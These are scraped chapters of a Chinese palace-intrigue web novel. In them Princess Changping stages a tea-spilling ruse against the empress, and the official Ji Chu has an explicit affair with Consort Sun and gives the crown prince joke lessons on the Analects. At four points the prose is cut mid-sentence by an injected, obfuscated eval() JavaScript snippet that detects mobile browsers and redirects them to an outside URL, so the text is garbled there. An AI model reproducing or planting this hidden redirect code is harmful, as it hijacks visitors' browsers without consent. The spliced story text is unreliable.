长平公主性子刁蛮,行事任性的名声,便是她授意让人散播出去的,只为打压马贵妃母女的气焰。往日见了自己躲都来不及,这般不请自来,是为何意? 范皇后压下心底的疑虑,理了理轻薄的衣摆,缓步前往前殿。 毕竟,再过片刻皇帝就要到了,她可不想让皇帝瞧见长平公主,扰了皇帝午膳的兴致。 前殿内。 李清溪身着粉色薄纱宫装,裙摆绣着浅粉蔷薇,身姿挺拔,脸上没了往日的骄纵蛮横,反倒带着几分恭顺。 见范皇后进来,当即屈膝行礼,语气恭敬:“儿臣给母后请安,母后金安。” 范皇后眯了眯眼,抬手虚扶,面带微笑,“起来吧,这么热的天,还到处跑,仔细着自己身子。” “谢母后!”李清溪起身,温顺的目光中带着几分愧疚,“母后,往日都是儿臣不懂事,性子顽劣,总是惹母后生气。 每每想起,儿臣便愧疚难耐。 今日特来给母后敬一杯茶,还望母后大人有大量,原谅儿臣以往的过错。” 说着,压根不给范皇后拒绝的机会,接过婢女递上来的茶罐,便径直走向案几。 范皇后现在只想赶紧打发走对方,只是刚想说不必亲自泡茶,喝现成的就行,就听李清溪说道:“这是前些日子父皇赏的贡茶,女儿就自作主张借花献佛了。” 范皇后:…… 她略有深意的看了对方背影一眼,笑道:“罢了,母后今个就沾沾女儿福。” 李清溪嘴角微勾,慢悠悠地开始泡茶。 青黛满脸警惕,微微俯身凑到范皇后,用只有两人能听见的声音提醒道:“娘娘,小心些,这茶不见的是什么好茶……莫要伤了身子。” 范皇后心中冷笑一声。 李清溪年纪尚轻,又素来没有脑子,还没那个胆子敢在坤宁宫下毒害她。顶多就是在茶里加了些泻药之类的东西,让她出丑罢了。 这些小手段,那都是她玩剩下的。 若真闹起来,又正好被皇帝撞见,必定会觉得长平公主顽劣不堪,不知悔改,进而迁怒于马贵妃,连带着二皇子也会受牵连。如此一来,儿子的胜算便又多了一筹。 想明白这一点,范皇后脸上重新堆起温和的笑意,故意加重语气,“长平一片孝心,特意给本宫送来贡茶,怎么可能下药害本宫,你多虑了。” 李清溪心头一颤,越发觉得季褚出的主意是真好。 因为她还真想过给老妖婆下毒。如果自己真的干了,再被老妖婆识破……后果简直不堪设想。 不过…… 哼哼,老妖婆,你就是想破脑袋也想不到,女儿这份大礼比拉肚子还厉害,能让你难受好几天。 李清溪转过头,软糯的语气带着几分讨好,“母后说的是,儿臣孝顺母后还来不及,怎敢有半分歹心。” 范皇后哪里清楚一个一门心思搞事业的人到底有多可怕。 李清溪天天想报仇,早就把皇帝每天的行程算的死死的。 感觉差不多了,才端着茶盏,恭恭敬敬走向了范皇后。 范皇后每天也在搞事业,和李清溪算的差不多,知道皇帝这会儿已经到了宫门外,会心一笑,就要接过茶盏。 只是她刚伸出手,李清溪便脚下一绊,手中的茶盏瞬间脱手,温热的茶水尽数泼在了范皇后的素色宫装上,晕开一大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292136|196962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 片湿痕,也令那紧贴衣服的曼妙身材更加惹眼。 青黛大惊失色,连忙掏出帕子,去帮皇后清理,“娘娘!您没事吧?” 说着还不忘狠狠瞪了李清瑶一眼,“公主殿下,您怎能如此不小心,您这般莽撞,莫不是故意的?” 范皇后脸上的笑容早已僵住,她是万万没想到,李清溪竟然和她来这么一出。 想到皇帝就在外面,范皇后心中冷笑,立刻推开青黛,愤然起身,呵斥道:“青黛住口! 休得胡言,公主怎么会……” 不等她说完,李清溪哎呦一声,自顾自的摔倒了地上,声音又软又委屈,“呜呜呜,母后,女儿错了,女儿不是故意的。” 范皇后眉头拧了一下,强挤出一抹姨母笑,“长平,你这孩子怎能和母后开这种玩笑。 又无人推你,何必自己摔一下? 快点起来吧,你这丫头打小顽劣,就是故意将茶泼母后身上,母后还能治你的罪不成? 莫要坐地上了,地上凉,仔细着身子。” 说着,便要上前搀扶对方。 换以往,李清溪的绝对会恼羞成怒,开口反驳。 范皇后等的就是剧情走下去,然后让皇帝自己看看,他这个女儿到底有多卑劣。 结果这回李清溪压根不按套路出牌,反而直接避开她的手,语气悲呛,泪如滚珠,“儿臣今日是真心来给母后认错的,端茶敬母,字字恳切。 母后不原谅儿臣也就罢了,怎能睁着眼睛说假话,说儿臣是故意的? 呜呜呜呜,罢了……女儿终究不是母后亲生的,比不上三哥。” 她一边哽咽,一边缓缓起身。 泪眼婆娑,鼻尖通红,那副受尽委屈无处诉说的模样,刚一抬头,便直直撞进了刚跨进殿门的梁皇眼中。 李清溪身子一颤,带着几分惶恐屈膝,“儿臣……见过父皇。” 要么说皇宫里没善茬呢,李清溪语调中那丝强行压下的哽咽,哑的梁皇心里一揪一揪的难受,脸瞬间黑了下来,“皇后,你可真是好样的!” 范皇后脑瓜子翁的一下,整个人都懵了。 这感觉……那是何等的似曾相识…… 第107章 季爱卿,爱妃,朕来了,你们躲在房间里做什么 李清溪心头一喜,还得是季褚,果然有用。 立马乘胜追击,委屈的抻了抻梁皇的龙袍,“呜呜呜,父皇,你不要怪母后,都是的儿臣的错,是儿臣不小心将茶泼到了母后身上,母后没有为难儿臣,真的,一点都没有……” 一边说,那眼泪珠子一边往下掉,止都止不住的那种。 哪个当爸爸的受得了这个? 况且在梁皇心里,李清溪素来嚣张跋扈,顽劣任性,如今能主动登门认错,就已经很难得了。 身为母仪天下的皇后,看给孩子委屈的,简直一点肚量都没有。 “好孩子,知错能改父皇很欣慰,可莫要哭了,父皇不怪你,也不怪你母后,此事就此作罢。” 说着,面色不善的看向了皇后,“皇后,你要管不好下面人,朕不介意帮你管管,朕的女儿被一个狗奴才呼来喝去,成何体统?” 青黛闻言,扑通一下跪在了地上,"圣人息怒,奴婢该死,奴婢该死……" 范皇后这会儿也终于缓过神来。 到了这时,她也终于看清楚了李清溪的算计。 先假意敬茶泼自己一身,再示弱跌倒,掐着时辰等皇帝来了,撞个正着。 不得不说,这套小连招,确实厉害。 可你也未免太小看了本宫。 今个不过是先入为主,大意了,你那该死的母妃都不是本宫对手,何况是你! 她紧了紧拳头,脸上重新堆起了温和的笑容,“陛下教训的是,都怪臣妾往日太过骄纵这些奴才。 不过青黛也是护主心切,这才一时乱了分寸。” 说完,转身看向了砰砰磕头的青黛,“好了,自己去领罚,莫要影响到陛下用膳。” “谢圣人,谢娘娘……” 青黛慌张起身,低着头赶紧退走。 “你这小调皮,也莫要哭了,既然来了,那就陪着母后一起和你父皇用膳吧,正好母后今个多做了几道小菜,母后可记得,你这丫头小时候最喜欢母后做的桂花糕了。 还是你母妃怕……罢了,过去的事儿就不提了。” 范皇后今个被一个小丫头片子摆了一道,完全就是气糊涂了,想要趁机在梁皇面前上上眼药。 殊不知,这话一出,正中李清溪下怀。 身子一抖,瑟缩的往梁皇怀里靠了靠,眼底带着几分恐惧,又带着几分不知错所,哆哆嗦嗦道:“谢,谢母后好意,只是儿臣方才冲撞了母后,心中不安,实在是无福消受。 儿臣这便离开,还是不打扰母后和父皇用膳了。” 梁皇见她这般模样,不免想起当年的自己,心里愈发的心疼了。 毕竟,这后宫之中,看似风平浪静,可真翻出来,各种腌臜算计足够写成一本书。 他也是从后宫长大的,哪里会不清楚这些,只是不愿意提罢了。 也正因此,他才会对先皇后念念不忘,因为正是先皇后的大度,善良,他的这些儿女才能茁壮长大,不似自己当年,虽然坐上了那个位置,可一抬眸,那些成年的兄弟姐妹已是屈指可数。 尤其是瞧见范皇后紧紧贴在身上的衣服,脸就更黑了。 衣服湿了不敢进去换,你这么诱人想干嘛? 算计女儿还不够,还想趁机勾引朕吗? 真当朕是昏君了不成? “既然长平不愿,便不勉强她了。刚好朕今日也没甚胃口。”说完,梁皇一把牵住女儿小手,就朝外面走去。 李清溪兴奋的差点没笑出来,扭过头,得意的冲着范皇后做了个俏皮的鬼脸,“母后,儿臣告退了,改日再来给您请安。” 范皇后气的奶都疼了。 指尖死死攥紧,眼底的怨毒与不甘哪里还化的去…… 大意了。 肯定是马贵妃那个**教的,不然长平这个小**又怎么可能突然涨了心眼? …… “父皇,之前都是儿臣不懂事,总是惹您和母后生气,您不会怪儿臣的对吧?” 出了坤宁宫,李清溪便抬起头,用那双湿漉漉,懵懂又无辜的眼眸望着自己的父皇。 鼻尖泛着淡红,刚哭过的卧蚕也微微发肿,瞧着格外惹人怜惜,梁皇感觉自己的心都要化了,温声笑着,抬手轻轻揉了揉她的发顶,“傻孩子,父皇怎么会怪你。” “我就知道,父皇是天底下最好的父皇。 先前都是女儿不好,总是惹父皇生气,从今以后,儿臣一定要当大孝女。 父皇尚未用膳,又批了一上午折子,肯定累坏了,不如去母妃宫里,也让儿臣给您捏捏肩,捶捶腿,尽尽孝心,好不好嘛,父皇!” 梁皇哑然失笑,“你这丫头,罢了!” 说着,便对着刘洪喊道:“摆驾,去马贵妃那。” …… 马贵妃这会儿正斜靠在软榻上,由宫女扇着风,百无聊赖的消磨时间。 自打梁皇宠幸了虞美人后,便再也不曾踏入玉漱宫半步。 她早已习惯了冷冷清清。 而就在这时,宫女匆匆来报,皇帝正在来玉漱宫的路上,惊的马贵妃差点以为自己听错了。 再三确认后,一边唤婢女帮自己整理妆容,一边吩咐,“快去通知小厨房,做几道陛下爱吃的小菜,要清淡爽口些的,还有,把二殿下上午差人送宫里来的奶冰也备上。” 整理好妆容,马贵妃便带着人匆匆来到殿门口,像是望夫石一般望着远处的甬道。 很快,便瞧见父女二人说说笑笑,乘坐龙撵而来,马贵妃也会心的笑了起来。 待到龙撵停稳,立马上前行礼,“臣妾见过圣人,圣躬安?” “朕安,爱妃无需多礼。”梁皇呵呵一笑,然后被人簇拥着进了大殿。 不多时,一道道精致的菜肴便摆上了桌。 席间,李清溪显得格外乖巧,不停的夹菜,捶背捏肩,小嘴儿就跟抹了蜜一般甜,逗的梁皇眉眼舒展,心情不是一般的好。 唯一不好的是马贵妃看自己的眼神。 眸子里的柔情都快拉丝了,带着期盼一直黏在自己身上。 可爱妃啊,朕做不到啊! 自己的身体自己清楚,他这身子骨早就不行了。 梁皇哪敢与其对视,心里叫苦不迭,只能苦一苦爱妃…… 一顿饭吃完,见女儿一点眼力劲都没有,马贵妃忍不住提醒道:“长平,时间也不早了,你且回去休息,也让你父皇休息休息。” “咳!”梁皇清了清嗓子,“朕突然想起还有几份加急的折子没看完,就让长平留下多陪一陪贵妃吧!” 说罢,赶紧起身,那脚步快的,跟年轻人比也是不遑多让。 望着那仓促离开的背影,马贵妃脸上的温柔笑意渐渐淡去,眼底的火热也在一点点的冷却,最后只剩下了难以掩饰的失落与酸涩。 虽说往日里皇帝留宿也不过寥寥数次,可如今连片刻的温存都成了奢望,这般冷清孤寂的日子,什么时候是个头啊! 李清溪将母亲的神色变化尽收眼底,只当她是因父皇匆匆离去而失望,连忙上前扶住母妃胳膊,“母妃,您别难过,父皇来了,这便是好现象。 女儿一定会想办法,让父皇重新记起您的好,重新宠爱您的。” 马贵妃哭笑不得,抬手轻轻戳了一下女儿额头,语气中带着几分探究,“今个到底怎么回事,你父皇怎得来了我这里?” “是季褚……”李清溪脸颊泛起一抹红晕,羞涩把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292137|196962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头靠在了母亲肩上,“母妃,季褚真的很厉害,我本来是想让他帮我出主意教训老妖婆,结果……” 她小嘴叭叭,把事情的经过一五一十说了一遍。 马贵妃眉眼含笑,“原来如此。 倒是个的心思活络,有趣的人。 看来,他对你倒是上心。 好啦,你这忙前忙后的,肯定也累坏了,早点回你汀兰殿休息吧,母妃也乏了。” “好吧,那母妃好好歇息,儿臣回头再来陪您。”李清溪乖巧起身,福了一礼,便叫上自己的宫女太监离开。 待李清溪走后,马贵妃当即屏退了殿内所有宫女太监,偌大的寝殿瞬间变得寂静无声,只剩下窗外时不时传来的蝉鸣。 指尖抚过鬓边的珠钗,马贵妃眼底泛起一丝难以言喻的怅然,终究是抵不过心底的煎熬,起身独自回了内室…… 梁皇坐在龙撵上用力揉着眉心。 今天的事儿,属实有点伤他老男人的自尊了,越想,心情也就越烦躁。 刘洪作为贴身大伴,察言观色这一块自然拿捏的死死的。 见主子似乎不怎么高兴,忍不住笑着开口,“圣人,不如去教坊司听听乐曲放松放松,正好也检验一下季大人的能力。” “也罢,那就去教坊司吧!” 与此同时。 教坊司。 季褚坐在榻桌前,手中执着筷子,却没什么胃口。抬眼望去,只见孙淑妃端坐在一旁,眉眼弯弯,唇边噙着一抹意味深长的笑意,正一眨不眨地盯着自己,那眼神看得人心里发毛。 季褚有种强烈的预感。 这女人哪是什么借视察大婚排练的由头来劳军,分明是醉翁之意不在酒。 无他,看单独给自己准备的这份大补菜就知道。 “少保,可是吃饱了?”孙淑妃斜靠踏上,脸颊微微发烫,眼睛更是一眨不眨。案桌下,葱白的足尖点在季褚腿上,一挠一挠。 这里是季褚平时午休的房间,平时也兼顾化妆用,人家都不怕,他自然也不怕,索性伸出手细细的把玩,“微臣吃饱了,但,似乎,娘娘没吃饱啊!” 孙淑妃媚眼如丝,娇嗔着慢慢靠近,把头靠在了季褚肩上,抓着他的手就按在了自己心口,“你这冤家,可是把本宫折腾惨了,你看,这心一直跳个没完。” 嗅着她身上特有的馨香,季褚倒也来者不拒,凑到耳边小声道:“娘娘这话说的,不跳,那还了得?” 孙淑妃眼神拉丝,绯红满面,被轻轻掀开的裙摆下,两条白皙的玉腿来回扭捏。 她紧咬下唇,直勾勾的盯着季褚,完全就是一副享受却又克制的模样。 季褚情不自禁的咽了口唾沫,这妖娆的女人,当真不知如何保养的,白皙的简直夺人眼球。 平坦的小腹没有一丝赘肉,光莹如玉,洁白冰面上的一潭深泉,更是引人入胜,性感绝伦。 不过季褚的温柔,反倒是惹得孙淑妃不慎满意,嗔道:“切勿这般温柔,打我……” 季褚:…… “娘娘胆子可真大,难道就不怕圣人发现?” “本宫的胆子再大,还能大的过你季伯赢?” “既然如此,那就别怪微臣放肆了。” 片刻间,房间里便传来颤颤水声。 而就在这时,外面突然传来一阵嘹亮且尖锐的嗓音,“圣人到!” 季褚吓了一跳,就听啵的一声。 孙淑妃同样吓了一跳,但很快便冷静下来,沉声道:“勿慌!” 季褚:??? 我尼玛,我能不慌么我。 紧接着,就听门外传来了梁皇的声音,“季爱卿,爱妃,朕来了,你们躲在房间里做什么?” 第108章 季少保,你这是想让圣人多恨我啊 季褚如遭雷击,死死盯着门口,仿佛已经看到了自己这一块,那一块的场面。 可下一秒,整个人都呆麻了,愕然的扭头看向孙淑妃。 要么说,论心态稳,还得是女人呢! 关键时刻还得看孙淑妃这种泡过深宫的女人,手段老道得让人咂舌。 就见她按住跌宕欺负的心口,冲外喊道:“陛下稍后,妾身正在为陛下准备惊喜。” 窗户纸上的手影微微一顿,那一瞬,其实孙淑妃的心也听到了嗓子眼。 可她如果不了解皇帝,也不可能成为后宫三巨头之一。 所以她不仅是赌梁皇不会进来,更是猜透了梁皇不敢进来,甚至自己这一句“惊喜”,必定会令梁皇仓皇避走。 果不其然,窗纸上的手影缓缓垂落,紧接着便传来梁皇那透着几分刻意从容的声音,“那朕就在外面等候片刻,你快点,朕还有折子没批。” 说完,脚步声便渐渐远去,消散在回廊尽头。 季褚情不自禁的咽了口唾沫,扭头看向了孙淑妃,“什么情况?圣人真的走了?” 孙淑妃唇角一勾,露出一抹胜券在握的娇媚笑意,再次缠了上来。 “圣人还在外面呢……”季褚感觉自己的魂儿快要飘出来了。 娘的,这这这……未免太刺激些,他老季的小心脏瘦不鸟啊! “放心。”孙淑妃的声音慵懒又魅惑,“圣人这会儿早走远了。” “走了?” “自然!”孙淑妃嘴角漾起一抹嘲讽,“你是不知,圣人如今视我等后宫女子如虎,我一说惊喜,他自然是避之唯恐不及。” 季褚:…… “圣人如今为何独宠虞美人?真是喜欢吗?”孙淑妃话锋一转,语气戏谑,目光灼灼地盯着季褚,“即便真喜欢,可别忘了,今上的年纪。 起居录上明明白白记着,虞美人日日侍寝,一次就是半个时辰,难道你不觉得太刻意?太反常了吗?” 季褚:…… 人到暮年,坐拥后宫三千佳丽。 这和后世那些借口加班,等老婆睡熟了才敢偷偷溜回家的老男人,又有什么区别? 一念及此,突然就有点同情梁皇了是怎么个事儿? 只是季褚还是有点担心,生怕出意外,推开孙淑妃,赶紧把衣服整理好,悄悄打开一道门缝溜了出去。 皇帝走没走,看气氛就能看出来。 不多时,季褚便折返回了房间。 孙淑妃慵懒的侧在榻上,青丝微散,眼角上挑,妖媚地冲季褚挑了挑下巴,“如何?” “娘娘当真神机妙算!”季褚由衷的竖起了大拇哥。对上这位深闺里的老狐狸,他是彻底甘拜下风。 一个时辰后,二人已经各自整理好了衣服。 孙淑妃理了理鬓边的发簪,开口道:“少保可要教我一首曲子,最好是能勾人魂魄。等下我去觐见圣人,万一起了疑心,也好有个由头应对。” “善。”季褚想了想,“那我便教娘娘一首《青衣》吧!” 说着,季褚轻轻吟唱起来,曲调婉转,韵味悠长,听的孙淑妃如痴如醉。 “娘娘觉得如何?” 孙淑妃忍不住翻了个白眼,没好气道:“我为你唱一曲如游丝的气息,谁在抚琴配相思成疾…… 季少保,你这是想让圣人多恨我啊?” 曲调虽美,却透着一股深夜私会的暧昧与相思,落在梁皇耳中,怕是更不想见她了。 “呵呵,那可未必,淑妃娘娘媚骨天成,再配上曲中那股子媚劲儿,说不定会有意想不到的效果,重新获得陛下恩宠,也不是没那可能。”季褚道。 “此曲倒是颇具几分风尘气息。”孙淑妃轻轻从后抱住了季褚的腰,“可妾身有了你这般心思活络的妙人,哪还稀罕的那点不痛不痒的恩宠! 况且,妾身只想唱给你一人听。” 季褚那是万万没想到,淑妃娘娘这种深宫贵妇比他家香儿还会撩人。 难怪都说怨着怨着,就那啥了…… 果然,老话还是有些道理的。 他强下压心里再次翻涌的热燥,轻轻掰开了对方的手,“不过些许雕虫小技而已,能入娘娘的眼,也是微臣的造化!” “你这人……”孙淑妃不知想到了什么,娇嗔的拍了一下季褚肩膀,“本宫这便去请旨,让你给平儿当先生,如此,你我便能经常见面了!” 虽说这无异于刀尖上跳舞,可孙淑妃的美妙……咳,这也算是为了一生奋斗的事业打下夯实的基础吧! 毕竟孙淑妃可是后宫三巨头,指不定什么时候就能帮上大忙。 季褚点头应下,等孙淑妃整理好妆容,亲自将人送出教坊司。 孙淑妃上了娇撵则直奔春暖阁。 “臣妾见过圣人,圣躬安?” 看着跪在下面,宛如一朵刚刚浇完水,花开正艳的孙淑妃,梁皇那是打心眼里抵触。 曾几何时,她的那双媚眼,是自己最喜欢的东西。 可……哎! 梁皇随手把批好的折子往旁边一丢,清了清嗓子,“朕安,起来吧!” “谢圣人。”孙淑妃缓缓起身,一双媚眼含着几分羞怯缓步来到御案前,“夫君,您可是有些日子没到钟粹宫了。” “咳!”梁皇重重清了下嗓子,眼神中带着几分审视,“爱妃自重些,还有,不要和外臣走的太近,坏了规矩!” 都说圣心难测,可作为枕边人,孙淑妃早就摸透了自家这位陛下的心思,就知道他会起疑。 可若连这点定力都无,她也不可能成为皇宫三巨头之一,所以面上压根不见半分慌张,反而变的幽怨起来,噘噘嘴便坐到了梁皇身边,“还请圣人勿怪,您是知晓我的。 如今太子大婚在即,后宫却无人操持,臣妾这心里总觉得难受的紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296612|196962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 倘若有朝一日我也和姐姐一样……只留下咱的平儿,他又没个姐姐帮衬,岂不是连个为其操持婚事的人都没有? 况且,妾身如今失了陛下的宠爱,若再不琢磨些讨陛下欢心的法子,怕是往后连觐见陛下的机会都没了。 听闻季少保诗词歌赋一绝,臣妾顺便登门请教了一首曲子,只是臣妾愚钝暂时还唱不出意境。 等臣妾彻底学会,必会给陛下一个惊喜。” 这话一出,简直就是直往梁皇心窝子里戳,而且一戳就是两下。 太子大婚,身为父亲哪有不想管的道理,可去岁北戎一战,已经打空了国库,当爹的是真没钱啊,如今也不过刚有点盈余。 等他有钱的时候,已经事到临头也没了花钱的地方。 若非如此,他又如何会默许季褚在太子大婚上大做文章? 真当自己的影龙卫是吃素的,不知他季褚赚了几个一千万? 黑不提白不提,还不就是想有了这笔钱,一双儿女手头也能宽裕些? 还有你孙淑妃,知道你贤良淑德,可好好的你提孩子作甚?嫌自己生的少,还想再给朕生一个? 你也不看看朕都多大年纪了。 咱大梁如今内忧外患,一京八道全都扛在朕的肩上,离了朕能成吗?朕若为了多生几个孩子早早撒手去了,天下百姓怎么办? 梁皇面是一沉,不悦道:“此时休要再提,没什么事你就回去吧,过些日子朕再去看你。” 孙淑妃眉眼间带了几分委屈,嗫嚅了两下,才起身行礼,“臣妾谨遵圣人教诲,不过臣妾还有一事,求圣人成全。” “何事?” “平儿已经到了开蒙的年纪,臣妾想请季少保给平儿当先生。” 闻言,梁皇的目光顿时变得深邃起来。 接着,就听孙淑妃坦诚道:““圣人明鉴,臣妾对平儿从无什么非分之想,不盼他能权倾朝野,只愿他将来能借着先生的情分,在朝堂上有个安稳靠山。 季少保正值盛年,依臣妾看,至少还能在朝堂上屹立几十年,这般长久的倚靠,才是平儿真正的福气。 况且季少保学识开阔,绝非那些迂腐固执之辈能比。平儿跟着他学,既能**得真本事,又能守住本心,日后无论哪位皇兄登基,这份师生情分,都是他最稳妥的护身符。 臣妾这般安排,不过是想给平儿铺一条安稳顺遂的路罢了。 还望圣人成全!” 孙淑妃主打一个真诚,直接给梁皇整沉默了,暗暗自责,自己怎么能往那方面想。 梁皇思忖良久,眉宇间掠起一抹倦意,挥了挥手道:“罢了,此事朕准了,你且退下,好生照顾好平儿,莫要让他顽劣任性。” “臣妾谢陛下恩准,陛下圣明,平儿定不会辜负陛下与季少保的教诲。” 孙淑妃嘴角勾起一抹微笑,缓缓起身,退出了春暖阁。 第109章 你这个小舅子,还真是不知年少啊 季褚看着刚刚到手的圣旨,心里便忍不住开始蛐蛐梁皇。 这个黑了老心的资本家,胆子越压越重,可工资却一点不加。 如此一来,他帮老板照顾老板娘,是一点心理负担都没有了。 一扭头,瞧见韩江雪正黑着脸盯着自己,那口气更是不打一处来,抬手便将圣旨塞到了对方怀里,顺势揩了一把油。 不等韩江雪发火,季褚先声夺人,“瞧见没,都是谋划,本官这一天天劳心劳力,为了谁? 你倒好,连个笑模样都没有,跟谁欠你似的。 还不如让子衿来,起码情绪价值给的够,晚上还能暖床。” “你也不怕热死!”韩江雪冷哼一声,终究还是没好意思放狠话,拿着圣旨走向了角落。 因为她突然发现,自己好像真有点误会季褚了。 她一直认为,季褚就是个好色的无耻之徒。 可仔细想想,除了赵子衿主动投怀送抱外,不管是香儿,还是竹儿,好像都不能怪季褚。 香儿是表姐为了恶心驸马,逼着他要的。 竹儿则是为了救季褚,结果最后却闹了个大乌龙…… 至于自己…… 人家季褚好心好意,不顾危险帮自己吸出毒素,可她是怎么做的?不仅不感激,反而觉得季褚占了自己大便宜,趁着半夜摸到帐篷里再把便宜占回来……唯一没想到的是,竟然会嘬了一嘴。 思及此,韩江雪蓦的红了脸,偷偷看向了季褚,却见对方正好看着自己。 韩江雪下意识挤出了一抹微笑,她感觉确实应该和季褚和解,毕竟,是吧,万一呢,他要真娶了表姐,自己还得叫他一声姐夫。 可她这刻意挤出的笑容,落在季褚眼里,却不啻于洪水猛兽。 黄鼠狼给鸡拜年,那还能安好心? 季褚赶忙低头,慌慌张张的跑回了自己的休息室,然后拿上几本书便去了太子东宫。 惹不起,咱躲得起。 毕竟词谱已经教出去了,排练也进行了好几轮,乐姬们自己练熟就行,他只需时不时去巡查一番,做几次关键指点,剩下的时间倒也清闲自在。 韩江雪看着季褚几乎是逃一般的背影,脸上的笑容瞬间僵住,垮塌,眼底满是挫败与委屈。 你至于的吗? 难道本郡主在你眼里,就那般不堪? 韩江雪轻轻咬唇,指尖攥得发白,“简直岂有此理。” …… 东宫。 李康一见季褚来了,那叫一个热情,“季少保,你可算了来了,孤可是等你多时了。” 季褚欣慰的笑了笑,这太子倒是个认真学习的好孩子,看来以后得上点心了。 “还请殿下赎罪,只因近来公事繁忙,不过教坊司那边安排的也差不离了,以后倒是可以多为殿下上几堂课。” “咳,课业之事来日方长,不急。”李康清了清嗓子,压低的声音里带着几分难以启齿的急切,“当务之急,还是孤的子嗣要紧!” 说话间,他甚至自己都没发觉,耳根子都红了,“上回那事儿虽说顺顺利利,可孤心里总归不踏实。 万一大婚当日,七仙女没能顺利帮孤……嗯,取出龙精,这可怎么得了? 所以孤琢磨着,你能不能再带孤去一趟?若这次还能成,那孤才算真的高枕无忧!” 季褚:…… 你这个小舅子,还真是不知年少啊! 拐了这么大一弯儿,直接说你上瘾不就得了? 不过那七仙女当真妙不可言,别说他了,就连自己不也……咳。 季褚四下看了看,确定无人,才低声劝慰道:“殿下,只有数日便要大婚,最好还是养精蓄锐。 您也不想太子妃怀不上,令圣人与朝野上下失望吧?” 李康顿时一噎,讪讪笑道:“罢了罢了,孤也只是提个建议,既然季少保说要养精蓄锐,那孤便养精蓄锐好了。” 说着,他赶紧转移了话题,“对了,孤的金令呢?” “什么金令?”季褚一脸茫然,眨巴眨巴眼。 李康提醒道:“就是你去长葛时,孤给你的金令啊。” 闻言,季褚瞬间恍然,“哦,臣想起来了,不过没带身上,回头取了便给殿下送回。” 众所周知,你找别人要东西,只要说回头,那肯定就别想要回来了。 那么大一块金子,而且还是有特殊buff加成的金子,都揣兜里,季褚怎么可能轻易还回去。 可太子不道这里面还有那么多弯弯绕绕啊! 被季褚三言两语糊弄过去,也没再多纠结,“罢了罢了,金令的事不急。那少保便先教本宫课业吧!” “也好,杨先生之前教殿下的是论语,今天微臣便教殿下抡语!” “抡语?” “对,就是抡语!” 片刻后。 “不不不,季少保,你讲的不对。”太子虽然年轻,可课业相当扎实,一听就听出了不对劲,“子曰,既来之则安之,怎么能是这种道理呢?” “很好,殿下能听出问题,就说明已经听进去了。”季褚欣慰的点点头,“首先殿下需要明确一点,一个人周游列国,没有一副好身板能成吗?所以孔子压根不是文弱书生,而是一位真正的绝世猛男。 且,这句话出自论语·季氏。 我姓甚?” 李康闻言,小脑袋瓜子当场宕机。 是有那么点道理,但又总觉的哪里不对。 见他被自己说住了,季褚趁热打铁,缓声续道:“你先前所学的那一版,侧重教人修身,处世,行文之理,走的是文道。 而我这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296613|196962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一版,主打强身,护己,安邦之术,练的是武道。” 顿了顿,季褚目光笃定:“自古以来,文武结合方能成大事,这才是立身,治国的正道。” 要怪就怪季褚演技太好,沉稳笃定的语气,配上那副胸有成竹的模样,加之李康也有股子聪明劲儿,瞬间脑补出了万千深意。 原来如此,抡语与论语相辅相成,各有侧重,合起来才是完整之绝学。 看来季褚的来历还怪不简单的,竟然是上古季孙氏的后人,有了这层身份,倒是配的上自己皇姐。 莫名的,他感觉季褚整个人都高大了许多,立刻起身恭敬行礼,“既来之,则安之,既然来了,那就安葬在这里吧……学生受教了。” “孺子可教!”季褚满意的点点头。 然后…… 然后俩人便彻底聊开了呗。 季褚的每一个解释,都仿佛为李康打开了一扇新世界的大门。 原来,朝闻道,夕死可矣,并非早上得知真理,即便晚上死去也无遗憾,那般粗浅。 竟然还是早上打听到了去你家的路,晚上你就得死。 三十而立,并未立业,而是对面来了30个,才能让我站起来打。 四十不惑,对面来了40人,我亦毫不犹豫。 五十知天命,就是对面来了50人,我也会打到他们知道我既是上天派下来的人。 人家孔子周游列国,图的就是求一败! 听听,品品,妥妥的王霸之道。 